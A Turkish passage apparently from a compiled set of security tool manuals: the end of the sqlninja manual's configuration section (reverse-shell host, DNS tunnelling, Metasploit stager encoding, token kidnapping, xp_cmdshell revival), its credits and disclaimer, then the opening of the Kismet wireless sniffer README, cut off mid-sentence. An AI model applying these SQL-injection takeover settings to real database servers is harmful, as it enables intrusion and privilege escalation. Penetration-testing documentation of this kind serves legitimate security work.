değiştirilir. Böylece ağırlık puanı daha yüksek olan karakter (o<br />
halde daha sık kullanılıyordur) O zaman denemede ilk<br />
kullanılacak olandır. Burada değerler ya evet ya da hayırdır. Ama<br />
daha iyi sonuç almak için her zaman evet olanda kalmalısınız.<br />
language_map_adaptive = yes<br />
saklama oturumu (store_session)<br />
Varsayılan olarak sqlninja tüm çekilen veriyi SQLite veri<br />
tabanında saklar. Bu size çekilen verinin yerel ortamda<br />
saklanmasını sağlar. SQLite veri tabanına komut satırından<br />
erişilir (varsayılan adı session.db).<br />
store_session = yes
akıl denetimi (sanity_check)<br />
Zaman tabanlı veri çekerken, ağ gecikmesi çekilen verini<br />
doğruluğunu engelleyebilir. Eğer sqlninja çekilen verinin<br />
doğruluğunu (şu anda DB, kullanıcılar, tablolar ve kolonlar ama<br />
veriler henüz değil) saptayamazsa aynı bilgi yeniden çekilir.<br />
Kontrol sonunda çekilen tüm veri için yalnız bir sorgulamayı<br />
içerir (örneğin kolon adı gibi). Bir WAITFOR kullanılır. Bu bir kez<br />
çalıştırılır ve eğer bilgi doğru değilse. O halde denetimin çok<br />
sınırlı verim çakışması vardır. Genelde bu da “yes” olarak<br />
kalmalıdır.<br />
sanity_check = tes<br />
Gelişmiş Seçenekler<br />
lhost<br />
Hedfin ters bağlantıda bağlanması gereken IP numarası. Yani<br />
sizin IP numaranız.<br />
Lhost = tester.sqlninja.net<br />
device<br />
Ters taramada paketleri koklamak için (sniffing) kullanılacak<br />
cihazdır.<br />
Device = ppp0<br />
filter<br />
ters tarama konumunda geçerli pcap deyimidir. Varsayılan<br />
olarak bu saldırıyı yaparken sqlninja karşı sistemden gelen<br />
paketleri inceler. Ve lhost ile belirtilen sunucuya yönlendirir. Her<br />
koşulda çalışmaya bilir. Veri tabanının çıkışları bir IP numarasına<br />
kapatılmış olabilir. O zaman bizim varsayılan pcap elemesini<br />
geçmemiz gerekir. Örneğin hedefin altkümesindeki tüm<br />
<strong>bilgisayar</strong>ları işleme dahil edebilirsiniz. Burada sunucuları ve<br />
ağları tanımlarsınız<br />
filter = src host nat.victim.com
Zaman aşımı (timeout)<br />
Bu parametre ters tarama konumunda kullanılır. Diğer paketleri<br />
göndermeden önce web servis bitince kaç saniye beklenmesi<br />
gerektiğini söyler (varsayılanı 5 saniyedir). Bu özellikle çok<br />
geniş kapı taraması yapılırken önemli olabilir. Çünkü web isteği<br />
netcat süresi dolmadan zaman aşımına girebilir. O zaman<br />
aşağıdaki değeri çoğaltmanız gerekebilir:<br />
timeout = 30<br />
Sunucu adı boyu (hostnamelength)<br />
FQDN uzunluğu dns tünel konumunda hedefin çözümlemeye<br />
çalışacağı yalancı sunucu adının en uzun boyudur. RFC'ler göre<br />
255 limittir. Fakat bence bir çok DNS sunucu 253'den buyuk ad<br />
kabul etmemektedir.<br />
Hostnamelength = 250<br />
Eğer çok uzun DNS adları hemen saptanır derseniz boyu<br />
küçültmek gerekebilir. Tabi ki kısa dns adı yavaş iletişim hızı<br />
demektir.<br />
msfencodecount<br />
Adımlayıcının kaç kez kodlanacağını söyler.<br />
Msfencodecount = 8<br />
usechurrasco<br />
token kaçırmada yetkileri arttırmak için kullanılır. Örneğin:<br />
userchurrasco = yes
esolvedip<br />
Dns tünel konumunda her DNS istemine gönderilen IP adresidir<br />
(gethostbyname() asılmasın diye). Genelde bunu 127.0.0.1<br />
değerine atamak (varsayılandır) en iyisidir. Karşı veri tabanı<br />
sunucusu yalancı sunucu adıyla ağ trafiğini karıştırmadan<br />
varsayılanı kullanmaktır.<br />
xp_name<br />
Komutlarımızı çalıştıran işlemin adıdır. Varsayılanı xp_cmdshell.<br />
Bu parametre iki biçimde kullanılır:<br />
resurrectxp:<br />
xp-name yaratılacak dış işlemin adını taşır Eğer<br />
xp_cmdshell'i yeniden etkinleştirmek olduğuna inanırsanız<br />
yakalanabilir. Bu nedenle burada başka bir ad<br />
kullanabilirsiniz.<br />
Dış işlem adı kullanan tüm diğer konumlar<br />
resurrectxp konumunda kullanılanla aynı olamayan bir ad<br />
olmalıdır.<br />
zp_name NULL olabilir. O zaman komut içi işlem ekleme<br />
kullanılır. Örneğin:<br />
xp_name = sp_sqlbackup<br />
kör zaman (blindtime)<br />
Arayüzü tabanlı eklemelerde parmaka izi ve kaba kuvvet<br />
konumlarında kullanılan WAITFOR DELAY çağrılarının değeridir.<br />
Varsayılan değer 5 saniyedir. Ama çok yavaş sunucular için az<br />
olabilir ve hatalı sonuçlara götürebilir. Eğer böyle şeyler olursa<br />
süresi yükseltmeye çalışın. Eğer sunucu yanıt zamanı çok<br />
kısaysa daha küçük bir değer tanımlayabilirsiniz. En küçük değer<br />
3 saniye olabilir. Örneğin<br />
blindtime = 4
Her isteğin satır sayısı (lines_per_request)<br />
Bu parametreyle bir istekte kaç satır onarım programı<br />
yükleneceğini kontrol edersiniz. Yüksek bir değer tabi ki hızlı<br />
yükleme demektir. Ama GET isteği kullanılıyorsa URL çok uzun<br />
olacağından riskli olabilir. Varsayılan değer 10 olur. En çok 30<br />
olabilir. Örnek:<br />
lines_per_request = 15<br />
Hata dizisi (error_string)<br />
Sqlninja HTTP hata kodu alındığında kullanıcıyı uyarır (örneğin<br />
500 Sunucu Hatası gibi). Bazı sayfalar 200 OK gibi bir yanıt<br />
döndürür. Bu gibi durumlarda sqlninja'ya hatanın içinde bulunan<br />
bir hata dizisi tanımı vermek akıllı olur. Örneğin<br />
error_string = “an error has occured”<br />
Açıklamayı ekle (appendcomment)<br />
Varsayılan olarak sqlninja SQL kodundaki fazlalık olan kodları<br />
açıklamaya çevirmek için sorgulamaya iki eksi işareti ekler<br />
Örneğin<br />
appencomment = yes<br />
Bu ayarı ancak ne yapmak istediğinizi biliyorsanız kullanın.<br />
checkdep<br />
Metasploit'in şu anki sürümünde adımlamada DLL eklemeden<br />
DEP otomatik kapalıdır. Ama bu bir nedenden çalışmazsa, eski<br />
davranışa geri dönebilirsiniz. Sqlninja karşı sistemin DEP<br />
ayarındaki değere bakar ve Metasploit adımlayıcısını (stager)<br />
beyaz listeye sokmak için xp_regread programını çalıştırır.<br />
Varsayılan olarak bu değer başlangıçta hayır olarak kullanılmıştır.<br />
checkdep = no
sqlmarker<br />
sqlninja'ya var olan işaret değişikliğini bu parametreyle<br />
bildirirsiniz. Varsayılan kod ekleme işareti __SQL2INJECT__ dir.<br />
Bunu değiştirmenize hiç gerek yoktur ama diyelim ki<br />
değiştirdiniz, örnek yazım:<br />
sqlmarker = SOME_WEIRD_STRING_HERE<br />
b64decoder<br />
base64 biçiminde kodlanmış dosyaları çözecek programın adını<br />
değiştirmek istediğinizde bu parametreyle sqlninja'ya aşağıdaki<br />
örneğe benzer bir tanımlama yaparsınız. Aslında varsayılan<br />
değer b64decoder.vbs programıdır.<br />
b64decoder = somename.vbs<br />
Diğer Yararlı Bilgiler<br />
Sqlninja GPLv3 (General Public License V3) lisansı ile dağıtılır. Ayrıntılar için<br />
LICENSE dosyasına bakın.<br />
Netcat sqlninja paketi içinde scr kalıbındadır.<br />
Ayrıntılı yazdırma konumunda “Bareword NetPaket IP IP_PROTO_UDP<br />
not allowed blah blah” hatası alabilirsiniz. Hiç sorun çıkartmadan hatalı<br />
atlayabilirsiniz. Aslında NetPacket'in zararsız bir hatasıdır. Bu hatadan<br />
kurtulmak isterseniz de UDP.pm içindeki “$proto=17” değişikliğini<br />
yapın.<br />
Arka plan konumunda bulunan tüm belgeler Next Generation Security<br />
firmasına aittir (NCC Grubun bir parçasıdır http://www.nccgroup.com/).<br />
Yeni başlayan değilseniz piste snowboard yapmak sakattır.
Krediler<br />
Sqlninja size yardım olmuş olabilir. Ya ağa sızıntıları saptamada<br />
kullandığınız için ya da uygunsuz bir biçimde e-ticaret sitelerinden<br />
çaldığınız kredi kart bilgileriyle milyoner olduğunuz için. O zaman<br />
aşağıdakilere teşekkür etmeniz gerekecektir:<br />
julie – DNS tünellemesi konusundaki tartışmaları için<br />
Davide Litchfield ve Chris Anley – Arka plan işleri bölümünde<br />
listelenen yazı ve dökümanlar için<br />
lele – SQL büyüsü için<br />
pentestmonkey.net – Daha çok SQL büyüsü için<br />
sp0nge – tüm tartışmalar ve kodlama ip uçları için<br />
hobbit – tabi ki netcat için<br />
The Metasploit geliştirme takımı – ürünleri için<br />
Cesar Cerrudo – token kaçırma saldırısı için<br />
Antonin Foller – değiştirilmiş xp_cmdshell kodu için<br />
Nmonkey – Bir sürü ip uçları, oyunlar ve geri besleme ve bobcat<br />
takımından adam çalmama izin verdiği için<br />
Tavis Ormandy – Asıl KiTrap0d çıkarcılığı için<br />
Birillo ve cima-asso.it – sqlninja'yı 6130metre yukarıdaki Ladakh<br />
dağlarına çıkarttıkları için<br />
The Spike Riders Team – snowpark'ta görüşelim ahbap!<br />
Ek krediler s4tan'a, Stefano Di Paola, Elhot Kendall, geese, Phlippe<br />
Schaeffer, Angelo Dell'Aera, WarGame, jussi, bambam, Ross Bushby,<br />
Konrad, Malewski, Hubert Seiwert, Raul Siles ve #uncon'dan bir kişi ye<br />
gidecek (düşünce|öneriler|yamalar|destek|alkol) için<br />
Sorumluluğu Kabul Etmeme<br />
Sqlninja kurulumu programlarla oynayan çocukların işine yaramaz.<br />
Ayrıca bu araçla ne yapacağınız tümüyle sizin sorumluluğunuzdadır.<br />
Bu ürünü kullanabilmek için yazılı bir belgeniz olması gerekmektedir.<br />
Böylece incelediğiniz ağ içinde güvenlik delikleri oluşturabilirsiniz. Bu<br />
tür yetkiniz yoksa yazılımı rast gele kullanmayın. Eğlence olsun diye<br />
kullanabilirsiniz kuşkusuz ama unutmayın ki çevrenizdeki bunca yasal<br />
engelle uğraşacak olan da sizsiniz. Bu konuda yardımımız olamaz.<br />
Geri Besleme<br />
Eğer görüşleriniz, düşünceleriniz ve yapılabilecek gözlemleriniz varsa<br />
ya da yeni işlevselliklerden söz ediyorsanız, bir hata bildiriyorsanız,<br />
bize bir satır yazı yazın. Sızma testlerinde bu aracı başarıyla<br />
kullanmışsanız, hacking komitesinin bazı faturaları ödeme ve bazı<br />
şeyler alma gibi gereksinimleri de vardır. Bize bağış yapabilirsiniz.
Akıllılık<br />
Her aptal bir iş için yalvarır durur, akıllı adam onu çalışmadan elde<br />
eder. Charles Bukowski.<br />
Yazarlar<br />
icesurfer - <br />
nico -
İÇİNDEKİLER<br />
1. Kismet nedir<br />
Ek-3<br />
Kismet 2011-01-R1<br />
Mike Kershaw<br />
http://www.kismetwireless.net<br />
2. Eski sürümlerden güncelleme<br />
3. Hızlı Başlangıç<br />
4. “root” yetkisi (Suidroot) ve güvenlik<br />
5. Kaynakları yakalama<br />
6. Özel sürücüler için Caveats & quirks<br />
7. Desteklenen kaynak yakalama<br />
8. Eklenebilir program parçaları<br />
9. GPS<br />
10. Kayıt altına alma (Logging)<br />
11. Filitreleme<br />
12. IDS ve Uyarılar<br />
13. Sunucu Ayar Seçenekleri<br />
14. Kismet Kullanıcı Arayüzü<br />
15. Kismet drones<br />
16. Kismet'le konuşma<br />
1. Kismet Nedir<br />
Kismet 802.11 kablosuz ağ saptayıcısı, trafik koklayıcısı, ve sızıntı yakalama<br />
sistemidir. Ham izleme konumunu destekleyen her tür kablosuz ağ kartıyla<br />
çalışır ve 802.11b, 802.11a, 802.11g ve 802.11n trafiğini koklayabilir.<br />
Kismet eklenebilir programları destekleyerek 802.11 dışındaki protokolleri<br />
de analiz edebilir, kodlarını açabilir.<br />
Kismet pasif olarak ağların paketlerini toplar ve onlardan tanımlanmasına<br />
izin verenleri tanımlayabilir (ve gizli ağların adlarını açıklayabilir). İşaretsiz<br />
ağları veri trafiğinden çıkarabilir.<br />
2a. Eski sürümlerden güncelleme<br />
Bazı temel özellikler çoklu sanal erişim noktasında (multi-vap) becerisi olan<br />
cihazları (kernel içinde tanımlanan linux cihazları gibi) yeni sürümde<br />
değişmiştir. Uygun olduğu her an eski arayüzü değiştirmek yerine yeni VAP<br />
(virtual access point) yaratır ve ayarlar. Eskisini korumak için<br />
“forcevap=false” seçeneğini kullanın (kaynak satırında).
2b. Kismet'İn Eski sürümlerinden güncelleme<br />
Bu sürüm Kismet'in çalışması ve ayarları konusunda MAJOR (Ana)<br />
değişiklikleri işaretler. Aslında bir çok konu aynıdır. Bir çoğu da (istemciler,<br />
ayar kaynakları ve kanallar gibi) farklıdır.<br />
Yeni özelliklerin yararlarından faydalanmak için var olan ayarlar dosyanızı<br />
son ayar verileriyle değiştiriniz.<br />
En önemlileri<br />
Kaynaklar farklı tanımladı. “Kaynak yakalama” bölümüne bakın<br />
Tüm Kullanıcı Arayüzü ayarları Kismet istemci içinde ele alındı ve<br />
kullanıcının evinde ~/kismet/k,smet_ui.conf dosyasında tanımlandı<br />
Daha önce hata olan ve Kismet'in işini bitirmesine neden olan pek çok<br />
durum artık çözümlendi<br />
Yeni eleme seçenekleri eklendi<br />
Yeni uyarı seçenekleri eklendi.<br />
Tümüyle yeni kullanıcı arayüzü oluşturuldu.<br />
Ağ erişim protokolü yüz değiştirdi.<br />
Yüksek sayıdan ağ için daha az CPU kullanılır oldu.<br />
Eklenebilir program parçaları (plugin) kullanılmaya başlandı.<br />
Bu sürüm daha önceki sürümlerden her şeyi kırıyor olsa da daha kolay üst<br />
sürüme geçiş kapısını açmaktadır.<br />
3. Hızlı Başlangıç<br />
Kismet'i çalıştırmadan tüm el kitabını okuyun. Burada Kismeti çalıştırmak<br />
için gereken en azlara yer verilmiştir.<br />
http://www.kismetwireless.net/download.shtml adresinden kismet'i<br />
indirin<br />
“./configure” programını çalıştırın. Çıktıları kontrol edin. Eğer Kismet<br />
her şeyi bulamazsa en önemli özellikleri eksik kalabilir. En önemlisi<br />
Kismet'i derleyin.<br />
İstediğiniz tüm özelliklerin açılmış olduğunu ayarlar dosyasından<br />
kontrol edin. Doğru çalışma için hemen her kullanıcı pcap ve libnl<br />
desteğine gerek duyar.
Kismeti “make” ile derleyin<br />
“make install” ile kismeti kurun.<br />
Eğer Kismeti suid-root olarak kurduysanız kullanıcınızı “kismet”<br />
grubuna ekleyin.<br />
Kismeti “kismet” diye çalıştırın. Eğer suid-root desteğiyle<br />
kurmadıysanız hemen her koşulda “root” olarak başlatmanız gerekir.<br />
Bu pek önerilmez çünkü daha az güvenlidir.<br />
Kismet sunucusunun başlaması için soru geldiğinde “yes” yazın.<br />
Yakalanacak arayüz sorusu geldiğinde kendi kablosuz arayüzünüzü<br />
girin. Kismet hemen her durumda desteklenen kanallardaki cihaz tipini<br />
otomatik belirler. Eğer belirleyemezse bunu sizin elinizle tanımlamanız<br />
gerekir.<br />
Kismet'i başlattığınız yerde kayıtlar (log) saklanır. “logprefix” ayarı ile<br />
yerini değiştirebilirsiniz. Ya da başlama satırında -logprefix ile yol<br />
belirtebilirsiniz.<br />
README'nin kalanını da okursanız Kismet hakkında bir çok özelliği ve<br />
ayar bilgisini öğrenebilirsiniz. Ne kadar çok okursanız o kadar çok<br />
bilginiz olur.<br />
3b. Windows hızlı başlangıç<br />
Bu yazının hazırlandığı zamanda “CACE install” güncellemesi henüz<br />
yapılmamıştı. Bu nedenle yeni çekirdek kodun faydalarını kullanacaklar<br />
Kismet'i Cygwin kullanarak kendileri derlemeliler.<br />
CACE Paketini kullanarak<br />
Önce Win32/Cygwin installer indir.<br />
(http://www.kismetwireless.net/download.shtml<br />
Installer'ı çalıştır<br />
Kismet'i başlat<br />
Kendi Airpcap ya da Kismet Drone kaynaklarını seç.<br />
Kendiniz derlediğinde<br />
Cygwin kurulumunu indir( http://www.cygwin.org)<br />
Cygwin kuruluşu yap (make gcc, libncurses, libncurses-dev ile)<br />
CaCE destekten Airpcap Devpack indir<br />
Airpcap, DevPack ve Libcap_Devpack bilgilerini kismet kaynak yoluna<br />
tasi
./configure –with-airpcap-devpack=... --witn-winpcap-devpack=...<br />
--enable-airpcap çalıştır. Eksik programları CACE websitesinden<br />
sağlayabilirsiniz. Cygwin hatalarından airpcap ve winpcap kismet yolu<br />
altında olmalıdır.<br />
“make” ile kismet'i derleyin<br />
“make nstall” ile kuruluşunu tamamlayın.<br />
Not: KISMET yalnız CACE AIRPCAP DEVICE ile çalışır.<br />
3c. OSX/Darwin hızlı başlangıç<br />
Bir çok kişi iTerm anahtar olayları doğru göndermiyor diye söyleniyor. Ama<br />
Terminal uygulaması doğru çalışıyor gibi görünüyor ve Kismet'le çalışması<br />
uyumludur.<br />
http://www.kismetwireless.net/download.shtml adresinden Kismet'i indirin<br />
“./configure” çalıştırın ve çıktıya dikkatle bakın. Belki libpcap yoktur elle<br />
yüklemeniz gerekebilir.<br />
OSX içindeki libpcap PPI kayıtına olanak tanımaz. Kismet PPI kayıtını doğru<br />
yapamayabilir (802.11 kayıtlarını yazarken her pakette yer alan başlıkları<br />
yazılmayabilir)<br />
configure prıogramı OSX'i otomatik olarak belirler ve “staff” grubuna<br />
varsayılan olarak “suidinstall” yapılabilir. Bunu “--with-suidgroup” ayar<br />
seçeneği ile değiştirebilirsiniz.<br />
“make” ile Kismet'i derle.<br />
“make install” ile kismet'i kur. Ya da make suidinstall” ile kuruluş yap.<br />
Eğer Kismet'i suidinstall ,le kurduysanız kullanıcınızı “staff” grubuna<br />
ekelmelisiniz.<br />
Eğer suidinstall kullanılmadıysa “kismet” root yetkileriyle çalışırtırılır. Yoksa<br />
kendi kullanıcınızla çalıştırabilirsiniz.<br />
Kismet sunucusu çalışmaya başladığında ilk soruya “yes” diye yanıt verin.<br />
Yakalanacak arayüz sorulduğunda kablosuz bağlantının arayüzünü girin.<br />
Kısmet otomatik olarak cihaz tipini ve desteklenen kanalları belirler. Eğer<br />
yapamazsa elle yakalama tipini girmelisiniz.<br />
Birçok mac için bu 'en1' olur. Ama bir terminal başlatıp “ifconfig -a” ile ne<br />
olduğuna bakın.
Kablosuz ağ arayüzü daha önce etkin hale getirilmiş olmalıdır. O zaman<br />
kismet çalışabilir. Yoksa hiçbir ağı bulamaz.<br />
Kismet şu anda yalnız Airport kablosuz cihazlarıyla çalışır (USB'lerle değil).<br />
Log kayıtları Kismeti başlattığınız dosya yolunda saklanır. Ama “logprefix”<br />
ayarı ile ya da “-log-prefix komut satısı parametresiyle değiştirebilirsiniz.<br />
4. “root” yetkisi (Suidroot) ve güvenlik<br />
İzleme konumunda kablosuz bağlantı kartını ayarlarken paketleri<br />
yakalamaya başlayınca Kismet root yetkisi ister. Bunu sağlamanın iki yolu<br />
vardır. Ya Kismet root olarak başlatılır ya da kurulurken öyle ayarlayın ki<br />
kotrol parçaları çalışırken root yetkisi kullansın.<br />
Kismet'i root olarak başlatmanın anlamı Kismet root olarak çalışmaya devam<br />
eder. Kuramda bunun ek bir sorunu olmaz. Ama herhangi bir anda kırılma<br />
olur program çalışmazsa (ya da bir paketteki kod root konumunda çalışmaya<br />
kalkabilir). Ek olarak üçüncü partilerin yazılımları root olarak çalışabilir ve<br />
güvenli de olmayabilir.<br />
Kismeti suid-root olarak kurmanın yaratacağı sınırlamalar vardır. İkili alamda<br />
(bnary) kistem_captur “kismet” grubundakilerce başlatılabilir. Bu<br />
ayarlamayla kanallar kontrol edilirmı yalnız kullanıcı düzeyinde yapılabilr.<br />
Böylece saldırı yüzeyinde belirgin bir limitleme getirilmiş olur.<br />
Dağılımlar önemle bu konumun kullanılmasını istemektedirler, çünkü<br />
standart grup kontrollarına izin vermektedir. Kismet bunu kartın konumunu<br />
değiştirmede kullanmaktadır.<br />
Gömülü sistemler tipik olarak daha az saklama alanı ve bellek ve bu<br />
sınırlamalardan dolayı kullanıcı/root ayrımını çoğu zaman zorlamazlar.<br />
Gömülü sistemlerde kismet kismet_capture programı olmadan kurulabilir ve<br />
yalnız root olarak çalıştırılabilir ama hala yukarıdaki risk devam eder.<br />
Hiç bir koşulda kismet_server programı suid-root olarak tanımlanmamalıdır.<br />
Çünkü bu program tüm güvenlik kontrollarını geçirir.<br />
5. Kaynakları yakalama<br />
Kismet içindeki paketlerin hepsi kaynak yakalamadan gelir. Kaynak<br />
yakamala yerel sistemdeki tipik ağ kartıdır. Ama daha önce kaydetilmiş bir<br />
dosya da olabilir. Ya da uzaktaki bir Kismet asalağının (drone) çalıştığı bir<br />
sistem olabilir.<br />
Kismet bir çok koşulda kaynak yakalama işinde sürücüyü ve desteklenen<br />
kanalları kendisi otomatik belirler. Bir çok kullanıcı için bu yeterlidir. Ama<br />
kaynak yakalama için gelişmiş seçenekler de vardır.
Kismet paketleri 802.11 katmanında yakalar. Bunun için ağ arayüzünün<br />
konumunun değişmesi gerekir. Bu değişiklik sonrasında arayüz artık normal<br />
kullanım için çalışamaz. Zaten bir çok durumda aynı arayüz üzerinden<br />
Kismet çalışırken kablosuz ağa bağlı kalınamaz. Kaynak yakalama Kismet<br />
Kullanıcı Arayüzündeki “Kaynak Ekle” seçeneği ile eklenir. Virgülle ayrılan<br />
seçenekler “Options” alanına eklenebilir. Kismet.conf dosyasında da<br />
“ncsource=” seçeneği ile tanımlanmış olabilir. Örneğin:<br />
ncsource=wlan0 option1=bar<br />
Kaynak Seçenekleri:<br />
name=foo<br />
Kaynak için kullanıcıya özel bir ad (aksi halde yakalanan arayüz<br />
ile adlandırılır). Bu tümüyle keyfi ve yalnız kullanıcı için<br />
anlamlıdır.<br />
type=foo<br />
Otomatik yakalanamayan kaynaklar için tipi burada belirtilir. Bu<br />
çok seyrek gereken bir durumdur. Kaynak tipleri hakkındaki<br />
diğer bilgiler bunu izler.<br />
uuid=foo<br />
Tek ve değişmez bir arayüz kullanmak isteyenler onu burada<br />
tanımlayabilirler. Bir çok kullanıcı için gerekmeyebilir. UUID<br />
kalıbıXXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX biçimindedir.<br />
hop=true|false<br />
Kanal sekmelerini kaldırma. Varsayılan kaynaklar için kanallarda<br />
sekmedir. Böylece tüm spektrum kapsanabilir.<br />
velocity=#<br />
Kanallarda sekme hızı (saniyede gezilecek kanal sayısı). Kismet<br />
bi saniyede 1-10 kanal gezebilir.<br />
dwell=#<br />
Kanalda kalma süresi Kismetin bir kanalda kalacağı süreyi<br />
tanımlar. Eğer sekme açıksa ve kanalda kalma süresi de<br />
belirtilmişse Kismet her kanalda N saniye kalır. Bir saniyede N<br />
kanal gezmek yerine...<br />
channellist=ad<br />
Bu arayüzde otomatik bulunan kanallar listesi yerine başka bir<br />
kanal listesi kullan. Burada kanal listesinin tanımlı olması gerekir.<br />
split=true|false<br />
Birden çok kaynak aynı kanal listesini kullandığında (otomatik<br />
bulunan ya da channellist=seçenek biçiminde tanımlanan).
Kismet onları parçalara ayırır. Öyle ki aynı anda birden çok<br />
kaynak aynı kanalla ilgilenmemiş olur. Kaynaklar bunu dikkati<br />
almamaya göre zorlanır ve kanal listesinin başından sekmelere<br />
başlarlar. Çakışmalar dikkate alınmaz.<br />
retry=true|false<br />
Kismet kaynak yakalamayı yeniden açmak ister ve hata alır.<br />
Eğer kullanıcı kaynağın kapalı kalmasını isterse bu özellik<br />
kapatılabilir.<br />
vap=arayüz<br />
Var olan arayüzün konumu değişileceğine ikincil olarak<br />
adlandırılmış arayüz yaratılır. Bu aslında Linux altındaki<br />
mac802.11 sürücüleri içindir. Kismet+Managed ya da<br />
Kismet+injection kullanmak isteyenler vap yaratır.<br />
forcevap=t|f true|false<br />
izlenebir konumda VAP yaratmaya zorlanılır (tüm Linux<br />
mac802.11 sürücüleri bunu destekler). Varsayılan “true” olup<br />
VAP adı arayüzün sonuna mon eklenerek elde edilir. Örneğin<br />
wlan0 için wlan0mon. “wlan1mon” ve yakalama buradaki VAP ile<br />
yapılır. Bu özellik zorla kapatılabilir (forcevap=false seçeneği ile)<br />
wpa_scan=time<br />
mac802.11 VAP kullanırken, Kismet yönetilen arayüzde<br />
tetiklemek için donanım yardımlı taramalarda wpa_supplicant<br />
kullanabilir. Böylece görüş yelpazesi ve yönetilen VAP<br />
işlemlerinin yapısı bozulmadan izleme yapılabilir. Tarama<br />
aralıkları için süre 15 saniyedir.<br />
Validatefcs=t|f true|false<br />
Kismet normalde gelen paketlerin FCS toplam kontroluna dikkat<br />
etmez. Çünkü birçok sürücü ilk anda hep doğru paketler<br />
gönderir. Paket kaynakları geçersiz parçaları varsayılan olarak<br />
bildirseler bile bu seçeneği otomatik olarak başlatırlar.<br />
Eğer sürücüler doğru olmayan paketleri var diye bildirilip elle<br />
ayarlanıyorsa, bu seçenekle Kismet'e kırılmış ve bozuk<br />
paketlerin dikkate alınmaması gerektiği bildirilir.<br />
fcs=true|false<br />
Paket kaynaklarındaki FCS bayt'larının ele alınmasını zorlama<br />
seçeneğidir. Varsayılan “false”, yerel FCS ele alınma koşulu<br />
olarak tanımlanır. Paket kaynakları radiotap ya da PPI gibi her<br />
paketteki başlıklar paket kaynaklarında dikkate alınmaz. Ama<br />
paket kaynakları pcapfile, 802.11 ham veri okumaları daha<br />
doğru davranışlar için bunun ayarlanmasını gerektirebilir.
fcsfail=true<br />
Bilinen kötü FCS (paket kontrol toplamı) olan paketler için<br />
mac802.11 VAP zorunlu bilgilendirilir. Bu seçenek “vap=”<br />
seçeneğinden sonra gelmelidir. Yoksa dikkate alınmaz. “fcsfail”<br />
açılması otomatik olarak “validatefcs” açılmasını beraberinde<br />
getirir. “fcsfail” seçeneği yalnız PPI kayıt edilirken açılmalıdır.<br />
Normalde PCAP kayıtları için FCS verilerine bakılmaz ve zaten<br />
okunmayacak çıktı oluşur.<br />
UYARI: Bazı sürücü sürümleri için bunu açmak ve yakalamayı<br />
durdurup başlatmak söz konusu olursa, kernel'da OOPS<br />
uyarılarına neden olmakta ve arayüz yanıt vermez duruma<br />
gelmektedir. Bu seçenek yetkin insanların kullanımı içindir.<br />
Bilginiz yetersizse, bırakın varsayılan değer kalsın.<br />
picpfail=true<br />
PLCP kontrolünü geçemeyen paketleri (eğer o arayüzde olası ise)<br />
mac802.11 VAP'ye zorla bildir. “fcsfail” için yapılan aynı uyar ve<br />
koşullar burası için de geçerlidir. Bu seçenek özel ve yetkin<br />
kullanıcılar içindir.<br />
Örnek kaynaklar (bunlar config dosyası parametreleridir. Ama komut<br />
satırı seçenekleri olarak “-c wlan0” gibi yazılarak da kullanılabilirler.<br />
Wlan0 kanal 6'da yakalama yap ve kanal sekmesi olmasın<br />
ncsource=wlan0,hop=false,channel=6<br />
wlan0 da yakalama yap 802.11b kanalları 5GHz destekleyenler<br />
ncsource=wlan0,channellist=IEEE80211b<br />
wlan0 üzerinde wlan0mon adında bir VAP yarat ve wpa_supplicant<br />
diğer kanallar hakkında bir görüntü verecek biçimde kullanılsın.<br />
ncsource=wlan0,vap=wlan0mon,hop=false,wpa_scan=15<br />
Daha önceden saklanmış pcap dosyasından oku:<br />
ncsource=/home/foo/old_pcap<br />
Windows üzerindeki Airpcap dosyasını yakala:<br />
ncsource=airpcap<br />
Uzaktaki capture_drone (yakalama asalağı) kullanarak yakala:<br />
ncsource=drone,host=10.10.100.2,port=2502
Kanal Listesi<br />
Kismet içindeki kaynak yakalama tarafından sekerek aranan kanalların<br />
ve desenlerin listesidir. Kanallar otomatik belirlenemezse (ya da<br />
kullanıcı bir nedenden onları değiştirmek isterse bu seçenek kullanılır.<br />
Varsayılan kanal listesi (IEEE80211b, IEEE80211ab) sürücü tarafından<br />
bir bir kanal listesi yoksa kullanılandır. Çoğu zaman da değiştirilmez.<br />
Sürücünün desteklediği kanallardan yaratılan kanal listesi olunca,<br />
“preferredchannels=seçenek” hangi kanallara ek zaman<br />
harcanacağını belirtir. Varsayılan olarak bilinen kanallara (1, 6, 11 gibi)<br />
bu ayarı yapmak, ya da bilinen ağlardaki kanallar (durağan olarak<br />
kurulanlar) için Kismet daha çok bilgi toplamak için biraz daha uzun<br />
zaman harcar. Daha karmaşık kanal zamanlaması için kanal listesi<br />
konusunu biraz daha okuyun.<br />
Kanallar tipik olarak (11, 36 gibi IEEE kanalları olabilir) ya da<br />
2401,5200 gibi frekanslar gibi olabilir. Ama bazı platformlar ve<br />
sürücüler kanalları ya da IEEE standart sınırları dışındaki frekansları<br />
belirlemeyi desteklemezler.<br />
channellist=ad:kanal.kanal,kanal<br />
Ek olarak listedeki her bir kanal ağırlıklı olabilir ki onlar üzerinde dha<br />
çok zaman harcanır. Ağırlık değeri 3 is 3x daha çok zaman kanalda<br />
harcanır.<br />
channellist=foo:1:3,6:3,11:3,2,3,4,5,6,7,8,9,10<br />
256 tane kanal kanal listesinde tanımlanabilir. Daha çok kanal<br />
olduğunda aly ve üst sınırdan oluşan aralıklar tanımlanabilir.<br />
Aralıklar kanal ya da frekanslarla tanımlanabilir.<br />
channellist=ad:range-[başlama]-[bitiş]-[üst_üste_binen]-[tekrar_sayısı]<br />
Başlangıç ve bitiş arasındaki tüm kanalların bilinen tekrar sayısında<br />
Kismet üst üste binme varsa doğrudan sekme yapmaz.<br />
channellist=foo:range-1-11-3-1<br />
Aynı tür aralık 802.11 2.4GHz kanallarda ~20Mhz genişliğinde olunca<br />
teknik olarak 22 ama 20 ek olur ve her biri 5Mhz aralıkla dizilir.<br />
channellist=foo:range-2412-2462-20-5<br />
Aralıklar kaynak arasında parçalanmış değildir. Çoklu kaynakların<br />
sekmesi aynı kanal listesinde olabilir. Bu da bir aralık genişletilmiş
aralığı parçalamaz anlanıma gelir. Diğer bir deyimle kanal aralıkları tek<br />
bir kanal tanımı gibi kabul edilir.<br />
Bir kanal listesinde virgüllerle ayrılmış birden çok aralık tanımı<br />
yapılabilir. Bu tanımlar kanallara karışık tanımlanmış olabilirler.<br />
channellist=foo:range-1-11-3-1,36,52<br />
6. Özel sürücüler için ihbar ve gariplikler<br />
Mac80211 Genel (Linux):<br />
Bu sürüm sırasında linux'deki mac80211 sürücüleri bayağı önemli bir<br />
